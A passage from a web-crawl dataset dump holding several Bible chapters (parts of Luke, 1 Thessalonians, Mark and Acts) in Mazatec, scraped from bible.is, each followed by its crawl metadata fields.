xi̱ta̱ ra kjìn ma‑ni: ―'Kia̱ nga 'ya jiòn nga nchrabá ifi, bixó‑nájiòn: \"Jtsí‑la 'koa̱\", ko̱ 'koa̱á 'sín ma. 55Ko̱ 'kia̱ nga 'ba tjo̱ tsjè, bixó‑nájiòn: \"Ndabá‑la ko̱tsjè\", ko̱ ndabá matsjè. 56¡Jiòn, xi̱ta̱ ra jò i̱sén tjín‑no! Maá‑no ko̱bixó kó'sín ma ya̱ i'ngaá ko̱ ya̱ a̱'ta nangi; tanga, ¿mé‑ni mì kì ma‑no 'nià‑no kinda̱ mé kjoa̱ ra tíma jè ni̱chjin ra titsa̱jneé 'ndi̱ 'ndi̱? 57'¿Mé‑ni mì tsa tà jiòn bindajín‑la xàngio̱o kjoa̱ ra kixi̱ tjín? 58'Kia̱ nga kongió ko̱ xi̱ta̱ ra bángi‑no ya̱ ngixko̱n xi̱ta̱xá, tjatsji'nde‑la ya̱ a̱ya ndi̱yá kó'sín ma jchi̱bànda‑no mé‑ni nga mì ya̱ i̱ko̱‑no a̱'ta 'tse̱ xi̱ta̱xá, ko̱ mì ya̱ si̱ìnga̱tsja‑no jñà polsìya̱, ko̱ jñà polsìya̱, mì nda̱yá si̱ìkjaha'sen‑no. 59'Koa̱á xin‑no, nga̱ skanda 'kia̱á ma kítjo̱o‑no nda̱yá 'kia̱ nga ijye kíchjí ijye koni 'ki kjòn nga si̱nè‑no.\nSan Lucas 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/12","date":"2013-12-08T20:09:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163806278\/warc\/CC-MAIN-20131204133006-00072-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1386,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ra xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra titsa̱jna ya̱ Tesalónica, jiòn ra chja̱'nda‑no Nainá ra Na̱'ín‑ná ko̱ jè Jesucristo ra tíjna ítjòn‑ná, 'koa̱á 'sín nìhixo'ta‑laji̱n 'a̱n Pablo ko̱ Silvano ko̱ Timoteo. Nainá katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 2Kji'tá ni̱chjin, 'koa̱á 'sín 'mì‑la̱ji̱n Nainá ra a̱'ta tsa̱jiòn nga tse kjo̱nda kata'se‑la̱ ra jè nga níkítsjen‑yá‑laji̱n 'kia̱ nga nakjoá'ta‑la̱ji̱n Nainá. 3Ko̱ bítsjen ki'tá‑naji̱n 'kia̱ nga bitsa'ba‑la̱ji̱n Nainá jñà xá ra i̱nchi'nià koni 'sín nga makjiín‑no, ko̱ kó'sín nga kjo̱nda 'tse̱ xi̱ta̱ i̱nchinìchjeén jè kjo̱tsjacha ra tjín‑no, ko̱ kó'sín nga i̱nchichíkjoa̱jin‑no kjo̱hi'in ra i̱nchibato ta nga̱tjì‑la̱ nga jè chiñá‑la Jesucristo ra tíjna ítjòn‑ná. 4Jiòn ndí 'ndsé ra Nainá tsjake‑no. 'Ya‑náji̱n nga jè Nainá xá tsjahíjin‑najiòn nga na̱xi̱ndá‑la̱ tsò‑no. 5Nga 'kia̱ nga tsi'kèna̱jmíya‑laji̱n jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo, mì tsa ta 'én tsa̱ji̱n ra inakjoá‑ji̱n, ngi ko̱ó nga'ñó‑la̱ Nainá ko̱ ngi ko̱ó Inìma̱ Tsje‑la̱ Nainá ko̱ ngi tjíjngoó takòn‑ji̱n nga inakjoá‑ji̱n. Koni 'sín ijye nda tjíjin‑najiòn 'kia̱ nga ya̱ tsikitsa̱jnako̱‑laji̱n, kjo̱nda tsa̱jión‑nó ra tsakjàtsji‑ji̱n. 6'Koa̱á 'sín ichjingí jiòn koni 'sín nga ki'nià‑ji̱n ko̱ ichjingí‑te‑la jè Na̱'ín‑ná. Ni̱'sín takó tse kjo̱hi'in inikjioón, tanga ngi ko̱ó kjo̱tsja ra tsjá jè Inìma̱ Tsje‑la̱ Nainá nga ichjíbé jiòn jè 'én‑la̱. 7'Koa̱á ma‑ni nga skanda jngoó xkósòn tsikijna‑la jiòn jñà xi̱ta̱ ra makjiín‑la̱ 'én‑la̱ Nainá ya̱ Macedonia ko̱ Acaya. 8Nda kjo'tsia̱ kjòn‑ni ra a̱'ta tsa̱jiòn, jè 'én‑la̱ Nainá 'ñó nda tímabísòn; mì tsa ta ya̱ Macedonia ko̱ Acaya; nga tíjngo i̱'nde nga tína'yá‑la̱ koni 'sín nga makjiín‑najiòn ra a̱'ta 'tse̱ Cristo; skanda mí ti̱ machjeén‑ni nga ji̱n 'kéna̱jmí‑la̱ji̱n kó'sín nga tíhijyo jiòn. 9Nda ti̱jñá‑ni xi̱ta̱ 'béna̱jmí kó'sín nga nda inisin‑náji̱n 'kia̱ nga ijchòjchòn‑laji̱n, ko̱ kó'sín nga jahatjìyaá‑najiòn nga kijmio jñà ra ta nainá xkósòn nga tsáfa'ta‑la jè ra ngi jè sabà Nainá ra tíjnakon, ko̱ 'ndi̱‑ni̱, ya̱á mangí'ta‑la, 10ko̱ nga chiñá‑la jiòn jè I'ndí‑la̱ Nainá ra ngajmi kji̱nchrabà‑ni, jè ra ti̱jè‑ni Jesús ra jaáya‑ila̱ ya̱ a̱jin‑la̱ mi'ken, jè ra ma‑la̱ si̱ikatojin‑ná jè kjo̱hi'in ra 'sa̱ nchrabá ra tji̱ko̱ kjo̱jti‑la̱ Nainá.\n1 Tesalonicenses 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Thess\/1","date":"2013-12-11T07:41:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164033367\/warc\/CC-MAIN-20131204133353-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":328,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijchò xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés xi j'iì‑ne na̱xa̱ndá Jerusalén. Ya̱á ijchòtji̱ngui‑la̱ ñánda tíjna Jesús. 2Jñà xi̱ta̱ koi, kijtseè i'nga xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús nga kjèn tjéko̱ tsja nga mìkiì oníjno; kitsò‑la̱ xíkjín [nga mìkiì nchisíkitasòn koni s'ín tjín kjo̱tíxoma ts'e̱ xi̱ta̱ judío xi xkón tjín]. 3Nga jñà xi̱ta̱ fariseo ko̱ ngats'iì xi̱ta̱ judío, k'oa̱á s'ín síkitasòn koni s'ín tjín kjo̱tíxoma‑la̱ xi̱ta̱ jchínga; tsà mì nguì ndaà ko̱níjno tsja, mìkiì ko̱kje̱n. 4Ti̱koa̱á k'e̱ nga f'iì‑ne ndi̱tsi̱n, ítjòn oníjno tsja, k'e̱é kjèn; tjín‑ìsa‑la̱ kjo̱tíxoma xi kj'ei̱í koni oníya chi̱tsín‑la̱, ti̱jí‑la̱, ko̱ chi̱tsín ki̱cha̱‑la̱ ko̱ na̱chan‑la̱. 5Koií kjoa̱‑la̱ jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés kiskònangui‑la̱ Jesús, kitsò‑la̱: ―¿Mé‑ne mìkiì síkitasòn‑ne xi̱ta̱ xi kota'yàt'aà‑lè, koni s'ín tjín kjo̱tíxoma‑la̱ xi̱ta̱ jchínga nga ta k'oa̱á s'ín kjèn tjéko̱ tsja? 6Jesús kitsò‑la̱: ―Koni s'ín kiskiì Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, ndaà kiìchja̱ i̱t'aà tsa̱jòn, jñò, xi̱ta̱ xi jò ma i̱sén‑nò, k'e̱ nga kitsò: Jñà xi̱ta̱ koi, beèxkón‑na xi tà 'én chja̱, ta̱nga jñà ini̱ma̱‑la̱ kjiìn títsa̱jna; 7Nìmé chjí‑la̱ nga beèxkón‑na, nga kjo̱tíxoma‑la̱ xi̱ta̱á okóya koni tsà kjo̱tíxoma‑la̱ Nainá. 8Jñò, nìkíjna‑nò xi nguì kjo̱tíxoma‑la̱ Nainá, ko̱ jè onguítji̱ngui‑là kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑nò nga oníya ti̱jí‑nò, chi̱tsín‑nò; kjìn ska̱ya kjo̱tíxoma tjín‑nò koni s'ín 'nè. 9Kitsò‑ìsa Jesús: ―Jñò, nachrjekàngui‑nò xi nguì kjo̱tíxoma‑la̱ Nainá, jè nìkitasòn kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑nò. 10Moisés k'oa̱á kitsò: \"Jcha̱xkoín na̱'èn‑lè ko̱ nea̱‑lè.\" K'oa̱á ti̱ kitsò: \"Jè xi chja̱jno‑la̱ na̱'èn‑la̱ ko̱ nea̱‑la̱, tjínè‑la̱ nga si̱k'en.\" 11Ta̱nga jñò bixón‑nó: \"Jngoò xi̱ta̱, ma ki̱tso̱‑la̱ na̱'èn‑la̱, o nea̱‑la̱: Mìkiì ko̱ma siìchját'aà‑lè; ngats'iì tsojmì xi tjín‑na, Corbán‑né.\" ('Én xi tsò Corbán, 'én Hebreo‑né; tsòyaá‑ne: jè Nainá jyeé kitsjaà yije‑la̱.) 12Bixón‑nó nga mì ti̱ kiì tjí'nde‑la̱ nga ko̱si̱ko̱ na̱'èn‑la̱, o nea̱‑la̱. 13Jñò, nachrjekàngui‑nò 'én‑la̱ Nainá nga nìkatoya‑là xinguio̱o kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑nò. Kjìn ska̱ya kjo̱tíxoma tjín‑ìsa‑nò xi k'oa̱s'ín 'nè. 14Jesús, k'e̱é kiìchja̱‑la̱ ngats'iì xi̱ta̱, kitsò‑la̱: ―Ngats'ioò, ti̱ná'yaà ko̱ ndaà kàtachi̱ya‑nò. 15Ni̱mé tjín xi fahas'en‑jiìn yijo‑la̱ xi̱ta̱ xi síkits'ón. Jè‑né xi ini̱ma̱‑la̱ xi̱ta̱ bitjojiìn‑ne, xi síkits'ón. 16¡Ndaà ti̱ná'yaà koni xan‑nò! 17Jesús itjokàjiìn‑la̱ xi̱ta̱; kiì, jahas'en jngoò ni'ya; i̱kjoàn jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kiskònangui‑la̱ kó tsòya‑ne jè kjoa̱ mangásòn xi tsibéno̱jmí. 18Kitsò Jesús: ―¿Jñò, a ti̱koa̱á mìkiì machi̱ya‑nò kó tsòya‑ne? ¿A mì fìya‑nò ngats'iì tsojmì xi fahas'en‑jiìn yijo‑la̱ xi̱ta̱ mìkiì síkits'ón 19nga mìtsà ini̱ma̱‑la̱ fahas'en‑jiìn? Ya̱á fahas'en i̱ndso̱'ba̱, i̱kjoàn bitjo‑ne k'e̱ nga fì kítsa̱jna ján baño. Jesús kitsòyaá‑ne: Ngats'iì tsojmì xi ma chine, tsjeè‑né; mìkiì síkits'ón ini̱ma̱‑la̱ xi̱ta̱. 20Kitsò‑ìsa Jesús: ―Jè kjo̱hítsjeèn xi bitjojiìn ini̱ma̱‑la̱ xi̱ta̱, jè xi síkits'ón. 21Koi‑né nga ini̱ma̱‑la̱ xi̱ta̱ nchrobájiìn, jñà kjo̱hítsjeèn xi ch'o tsò, koni jè kjoa̱ chijngui ts'e̱ xi̱ta̱ xi jye chixàn ko̱ xi kj'eè bixan jèn, ko̱ xi xi̱ta̱ sík'en, 22ko̱ kjoa̱ chijé, ko̱ kjoa̱ tse mejèn, ko̱ kjoa̱ ts'e̱n, ko̱ kjoa̱ kona̱cha̱n, ko̱ kjoa̱ ts'e̱ xi otonè‑la̱ kjoa̱ ts'e̱ yijo‑ná, ko̱ kjoa̱xìtakòn, ko̱ kjoa̱ 'on takòn, ko̱ kjoa̱ 'nga ikon, ko̱ kjoa̱ 'én ndiso, ko̱ kjoa̱ tòndo̱ xi mìtsà ítjòn nìkítsjeèn. 23Ngats'iì kjoa̱ koi xi ini̱ma̱‑la̱ xi̱ta̱ bitjokàjiìn‑ne, koií xi síkits'ón xi̱ta̱. 24Kiì Jesús ján na̱xa̱ndá Tiro ko̱ Sidón. K'e̱ nga ijchò ya̱, jahas'en jngoò ni'ya; mejèn‑la̱ nga mì yá xi̱ta̱ xi skoe̱, ta̱nga mìkiì komà tsibìjna'ma. 25Ni̱to̱ón kiì'nchré jngoò chjo̱ón xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱ tsòti‑la̱. Kiì ñánda tíjna Jesús nga tsasìxkó'nchit'aà‑la̱; 26tsibítsi'ba‑la̱ nga ko̱chrjekàjiìn jè ini̱ma̱ ch'o xi tíjiìn ini̱ma̱‑la̱ tsòti. Jè chjo̱ón, ya̱á i̱'nde‑la̱ ñánda 'mì Sirofenicia; 'én griego chja̱. 27Jesús kitsò‑la̱: ―Tjiì'nde‑la̱ jñà kàtakjèn ítjòn xi i̱xti ma. Mìkiì ndaà tjín tsà chjaà'an‑la̱ ni̱ño̱ jñà i̱xti, i̱kjoàn k'oi̱‑lá ndí nañá. 28Jè chjo̱ón kitsò: ―Ndaà tjín Na̱'èn; ta̱nga jñà ndí nañá kineé xi̱‑la̱ tsojmì xi bixòngui ími̱xa̱ xi síkatsjoò i̱xti. 29K'e̱é kitsò Jesús: ―Ndaà kinokjoì. T'in‑ne ni'ya‑lè. Jè ini̱ma̱ ch'o‑la̱ nei̱í, jye itjokàjiìn‑ne ini̱ma̱‑la̱ tsòti‑lè. 30K'e̱ nga ijchò‑ne ni'ya‑la̱, jè chjo̱ón, jè tsòti‑la̱, ya̱á kijnasòn na̱chan; ta̱nga jye itjokàjiìn‑ne ini̱ma̱‑la̱ jè ini̱ma̱ ch'o‑la̱ nei̱í. 31Jesús kiì‑ne ya̱ i̱'nde ts'e̱ Tiro; jahatojiìn i̱'nde Sidón, ti̱koa̱ jahatojiìn nangui xi 'mì Decápolis, ijchò‑ne ya̱ ndáchikon ts'e̱ Galilea. 32Ya̱á ijchòko̱ jngoò xi̱ta̱ xi jtayaà ko̱ skí'i̱n, tsibítsi'ba‑la̱ Jesús nga ko̱òt'aà‑la̱ tsja jè xi̱ta̱ jè. 33Jesús, i̱t'aà xìn kiìko̱ ñánda tsjìn xi̱ta̱, k'e̱é jahas'en jnótsja ya̱ líká‑la̱, ko̱ ndána̱chrá‑la̱ kisìkaàjno ni̱je̱n‑la̱. 34Jesús kiskoòtsejèn ngajmiì; i̱kjoàn jaátse‑la̱, kitsò: ―¡Efata! ―tsò‑ne 'én jè: ¡Kàtatáx'a̱! 35Ni̱to̱ón kitáx'a̱‑ne líká‑la̱ xi̱ta̱ jè, ti̱koa̱á ndaà komà kiìchja̱‑ne. 36Jesús kitsò‑la̱ jñà xi̱ta̱: ―Kì yá xi̱ta̱ xi bèno̱jmí‑là. Ta̱nga k'e̱ nga 'ñó tsibít'in‑la̱ Jesús nga mì yá xi̱ta̱ ke̱èno̱jmí‑la̱, ta̱nga jñà xi̱ta̱ ìsa̱á ndaà kiskinìsòn 'én. 37Jñà xi̱ta̱ xi kiì'nchré, ta kjo̱xkón‑la̱, kitsò: ―Ndaà s'ín yije. Síndaà‑ne xi̱ta̱ xi jtayaà ko̱ xi mìkiì ma chja̱.\nSan Marcos 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/7","date":"2013-12-06T09:37:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051139\/warc\/CC-MAIN-20131204131731-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":743,"character_repetition_ratio":0.084,"word_repetition_ratio":0.005,"special_characters_ratio":0.234,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngoò k'a jahas'en Jesús ñánda tíjna jngoò ni'ya i̱ngo̱ sinagoga. Ko̱ ya̱ tíjna jngoò xi̱ta̱ xi kixìt'aà jngoò tsja. 2Jñà kondra̱‑la̱ Jesús nchisíkinda̱ nga mejèn‑la̱ nga skoe̱ a si̱ìndaá‑ne jè xi̱ta̱ xi kixìt'aà tsja jè na̱chrjein nìkjáya, mé‑ne nga ko̱ma ko̱hòngui‑ne. 3Jesús kitsò‑la̱ jè xi̱ta̱ xi kixìt'aà jngoò tsja: ―Ti̱sítji̱in, ti̱si̱jni i̱ jngoò osen‑la̱ xi̱ta̱. 4Jesús k'e̱é kitsò‑la̱ jñà xi̱ta̱ xi i'nga: ―¿A tsjá'nde kjo̱tíxoma nga ndaà s'e̱én, o xi ch'o s'e̱én, jè na̱chrjein nìkjáya? ¿A si̱ndaá‑ná xi̱ta̱, o xi si̱k'en‑ná? Jñà xi̱ta̱ xi o̱tì'mì‑la̱ ta jyò tsibìtsa̱jna. 5Jesús kiskoòtsejèn‑jiìn‑la̱ xi̱ta̱ nga jti komà‑la̱. Ti̱koa̱ ba kis'e‑la̱ nga tájaàjiìn tjín ini̱ma̱‑la̱ jñà xi̱ta̱. K'e̱é kitsò‑la̱ jè xi̱ta̱ xi kixìt'aà tsja: ―Tjeèndojoì ndsei̱i. Tsijmeé tsja, ni̱to̱ón kjòndaà‑ne. 6Jñà xi̱ta̱ fariseo, k'e̱ nga itjo‑ne, tsajoóya‑ne ko̱ xi̱ta̱ Herodes nga mejèn‑la̱ si̱ìk'en Jesús. 7Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ chinchat'aà xìn. Ján kiì i̱ndiì ndáchikon. Kjìn xi̱ta̱ kiìtji̱ngui‑la̱ xi nangui Galilea ts'e̱ ko̱ xi̱ta̱ nangui Judea, 8ko̱ xi̱ta̱ na̱xa̱ndá Jerusalén, ko̱ xi̱ta̱ nangui Idumea, ko̱ xi̱ta̱ xijngoaà xa̱jngá nandá Jordán kóho̱kji jngoò itjandiì‑la̱ na̱xa̱ndá Tiro ko̱ Sidón nga kiì'nchré‑la̱ kjo̱xkón xi kis'iìn Jesús. K'oa̱á komà‑ne kjìn jchán xi̱ta̱ ijchò tji̱ngui‑la̱. 9Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Kjit'aà na̱chrjein tjajnandaà jngoò chitso mé‑ne nga mì xi̱ta̱ ko̱jtínè‑ná. 10Koií kjoa̱‑la̱ nga jyeé kjìn jchán xi̱ta̱ xk'én kjòndaà‑ne. Jñà xi̱ta̱ xk'én xi i'nga, ya̱á fìkjanè'ñó ñánda tíjna Jesús nga mejèn‑la̱ ko̱òt'aà‑la̱ tsja. 11Jñà xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱, k'e̱ nga beè Jesús bincha-xkó'nchit'aà‑la̱, i̱kjoàn 'ñó chja̱, tsò: ―Ji̱‑né xi Ki'ndí‑la̱ Nainá. 12Ta̱nga jè Jesús 'ñó tsohótiko̱ nga mì jñà ke̱èno̱jmí yá‑né jè. 13Xi jye komà i̱skan, Jesús kiìmijìn‑jno jngoò nindoò. Kiìchja̱‑la̱ xi̱ta̱ xi jè ndaà kisaseèn takòn. Xi̱ta̱ koi, ijchò kinchat'aà‑la̱. 14I̱kjoàn jaàjiìn tejò xi̱ta̱ xi koa̱hijtako̱, ti̱jñà‑ne xi si̱ìkasén nga ki̱chja̱ya 'én ndaà‑la̱ Nainá 15xi ti̱koa̱ kitjoé‑la̱ o̱kixi̱ nga si̱ìndaà‑ne xi̱ta̱ xi ch'in tjín‑la̱ ti̱koa̱ ko̱chrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. 16Jñà xi̱ta̱ xi kitjaàjiìn: jè Simón. I̱kjoàn tsibít'aàsòn 'ín‑la̱; Pedro kitsò‑la̱. 17Ko̱ jñà i̱xti‑la̱ Zebedeo xi 'mì Jacobo ko̱ jè 'ndse̱ xi 'mì Juan, xi ti̱koa̱ tsibít'aàsòn 'ín‑la̱; Boanerges kitsò‑la̱. (Jè 'én jè tsò‑ne: I̱xti‑la̱ ch'o̱n.) 18Ko̱ Andrés; Felipe; Bartolomé; Mateo; Tomás; Jacobo xi ti‑la̱ ma Alfeo; Tadeo; Simón, xi̱ta̱ xi ya̱ fìt'aà‑la̱ xi̱ta̱ cananista; 19Judas Iscariote, jè xi̱ta̱ xi kisìnga̱tsja kondra̱‑la̱ Jesús. K'e̱ nga j'iì‑ne Jesús ni'ya ñánda síkjáya, 20ìjngoò k'a kòkjìn xi̱ta̱ skanda mì ti kiì kitjò'nde‑la̱ nga tsakjèn. 21K'e̱ nga kiì'nchré xi̱ta̱ xíkjín Jesús, kjoa̱ xi tís'ín, kiì kátsji nga tso̱ba̱'ñó; kitsò: Skáyaá‑la. 22Jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés xi j'iì‑ne Jerusalén k'oa̱á kitsò nga jè xi̱ta̱ nei̱í xi 'mì Beelzebú tíjiìn ini̱ma̱‑la̱ Jesús, nga jè xi̱ta̱ sko̱‑la̱ xi̱ta̱ nei̱í tsjá‑la̱ nga'ñó nga ochrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. 23Jesús kiìchja̱‑la̱ xi̱ta̱ koi. Tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn. Kitsò‑la̱: ―¿A ko̱maá jè xi̱ta̱ nei̱í ko̱chrjekàjiìn‑ne xi ti̱jè‑ne yijo‑la̱ ya̱ ini̱ma̱‑la̱ xi̱ta̱? Majìn. 24Tsà jngoò na̱xa̱ndá je, tsà jòya tjín nga kondra̱ títsa̱jna‑la̱ xíkjín, mìkiì ko̱ma 'ñó kítsa̱jna; 25ko̱ tsà jngoò ni'ya, tsà jòya tjín nga kondra̱ títsa̱jna‑la̱ xíkjín, ti̱koa̱á mìkiì ko̱ma 'ñó kítsa̱jna. 26Tsà jè xi̱ta̱ nei̱í, tsà jòya tís'ín xi ti̱jè‑ne yijo‑la̱, mìkiì ko̱ma 'ñó kíjna. Jye tífehet'aà na̱chrjein‑la̱. 27'Jngoò xi̱ta̱ xi tjín‑la̱ nga'ñó, mì yá xi ko̱ma kjoa̱has'en ni'ya‑la̱ nga si̱ìchijé‑la̱ tsà mì ítjòn koi̱ìt'aà'ñó. K'e̱é ko̱ma si̱ìchijé‑la̱ k'e̱ nga jye kàsìt'aà'ñó. 28'O̱kixi̱í xi xan‑nó, xi̱ta̱ xi tjín‑la̱ jé ko̱ xi chja̱jno‑la̱ Nainá, jcha̱t'aà‑la̱ jé‑la̱. 29Ta̱nga jñà xi̱ta̱ xi chja̱jno‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, mìkiì jcha̱t'aà‑la̱ ni̱ta̱ mé nó‑ne, ni̱ta̱ mé na̱chrjein‑ne. Kjo̱'in s'e̱‑la̱ ni̱ta̱ kjé‑ne. 30Koií k'oa̱s'ín kitsò‑ne Jesús nga jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés kitsò‑né: \"Xi̱ta̱ jè, ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱.\" 31Xi komà i̱skan, ijchò 'ndse̱ ko̱ nea̱‑la̱ Jesús. Ján ndi̱tsiaán tsibìtsa̱jna. K'e̱é kinokjoà‑la̱ Jesús. 32Jñà xi̱ta̱ xi títsa̱jnandiì‑la̱, kitsò‑la̱: ―Nea̱‑lè ko̱ jñà 'ndsì, ján ndi̱tsiaán títsa̱jna. Ji̱ xó ótsji‑lè. 33K'e̱é kiìchja̱ Jesús, kitsò: ―¿Yá‑né xi nea̱‑na̱ ko̱ xi 'ndsè? 34I̱kjoàn kiskoòtsejèn‑jiìn‑la̱ jñá xi̱ta̱ xi títsa̱jnandiì‑la̱. Kitsò: ―Jñà xi̱ta̱ koi xi nea̱‑na̱, ko̱ xi 'ndsè. 35Nga̱ ni̱ta̱ yá xi̱ta̱‑ne xi síkitasòn koni s'ín mejèn‑la̱ Nainá, jñà‑né xi 'ndsè, xi tichja, ko̱ xi nea̱‑na̱.\nSan Marcos 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/3","date":"2013-12-09T13:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163973624\/warc\/CC-MAIN-20131204133253-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":669,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pablo, 'kia̱ nga ijchò ya̱ na̱xi̱ndá Derbe ko̱ Listra, ya̱á iskajin jngo xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ra 'mì Timoteo; jè na̱‑la̱ xi̱ta̱ judío‑ní, ti̱'koa̱á makjiín‑te‑la̱ a̱'ta 'tse̱ Cristo. Tanga jè na̱'ìn‑la̱ xi̱ta̱ griego‑ní. 2Jñà xi̱ta̱ xàngie̱é ra makjiín‑la̱ a̱'ta 'tse̱ Cristo ra títsa̱jna Listra ko̱ Iconio 'ñó nda kiìchja̱ ra a̱'ta 'tse̱ Timoteo. 3Pablo, mején‑la̱ nga jè ko̱hijtako̱; kií ko̱'sín kisi'ta chi̱ba̱‑ni jè kjoa̱ 'tse̱ circuncisión mé‑ni nga nda kíjna‑ni Timoteo a̱'ta 'tse̱ xi̱ta̱ Judío, ta nga̱tjì‑la̱ kóhotjín xi̱ta̱ ra ya̱ títsa̱jna, nda tjíjin‑la̱ nga jè na̱'ìn‑la̱ xi̱ta̱ griego‑ní. 4Nga'tsì na̱xi̱ndá ra 'jahato, 'koa̱á 'sín kitsò‑la̱ nga katasíhitjasòn kjo̱hixi̱ ra tsajo̱óya‑ni jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga ra títsa̱jna ján Jerusalén ra ya̱ síkinda̱ na̱xi̱ndá‑la̱ Cristo. 5'Koa̱á 'sín kjomà‑ni nga jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, isa̱á 'ñó nda kjokjiín‑isa‑la̱; ko̱ ni̱chjin nchijón kjokjìn‑ya‑isa xi̱ta̱ ra makjiín‑la̱. 6Jè Inìma̱ Tsje‑la̱ Nainá mì kì kitsjá'nde‑la̱ Pablo ko̱ xi̱ta̱ xákjién ra kjihijtako̱ nga ya̱ i̱'kéna̱jmíya 'én‑la̱ Cristo ya̱ nangi Asia; 'koa̱á ma‑ni nga ya̱ tsatojin ya̱ nangi ñánda̱ 'mì Frigia ko̱ Galacia. 7'Kia̱ nga ijchò ya̱ nangi Misia, kjomejèn‑la̱ nga ki̱ji̱ nangi Bitinia, tanga jè Inìma̱ Tsje‑la̱ Jesús mì kì kitsjá'nde‑la̱. 8'Kia̱ nga 'jahato Misia, ya̱á ijchò skanda na̱xi̱ndá Troas. 9'Kia̱ nga ijye títsa̱jna Troas, 'kia̱ nga ni̱tje̱n, jè Pablo tsatsíjen tsijeén jngo‑la̱ xi̱ta̱, koni tsa nijñá tí'bì‑la̱ ra ya̱ nangi Macedonia i̱'nde‑la̱ ra tsasijna kixi̱ ya̱ ngixko̱n Pablo. Tsikítsa'ba‑la̱, kitsò‑la̱: \"Nchrabí i̱ nangi Macedonia. Ti̱si̱ko̱‑náji̱n.\" 10'Kia̱ nga ijye kijtse kjoa̱ kìi̱ jè Pablo, ndi̱to̱ón tsikitsa̱jnanda‑ji̱n nga tsangì‑ji̱n ya̱ ján nangi Macedonia, 'koa̱á 'sín tjíjngo takòn‑ji̱n nga jè Nainá tíchja̱‑naji̱n mé‑ni nga si̱ka'bí‑ji̱n 'én xi̱tse̱‑la̱ Cristo ra nda tsò ya̱ i̱'nde ra̱kìi̱. 11'Kia̱ nga ítjo̱‑naji̱n ya̱ na̱xi̱ndá Troas, ichjíbé jngo‑ji̱n chitso, tsangì kixi̱‑ji̱n ya̱ nangi ra kjijna a̱jin nandá ra 'mì Samotracia; ra kjomà nchijòn ya̱á tsangì‑ji̱n na̱xi̱ndá ra 'mì Neápolis. 12'Kia̱ nga ítjo̱‑naji̱n Neápolis, a̱kjòn tsangì‑ji̱n Filipos, jngo na̱xi̱ndá ítjòn 'tse̱ nangi Macedonia ra nda tjábé‑la̱ nga'ñó a̱'ta 'tse̱ Roma. Kjín ni̱chjin tsikitsa̱jna‑ji̱n ya̱ i̱'nde 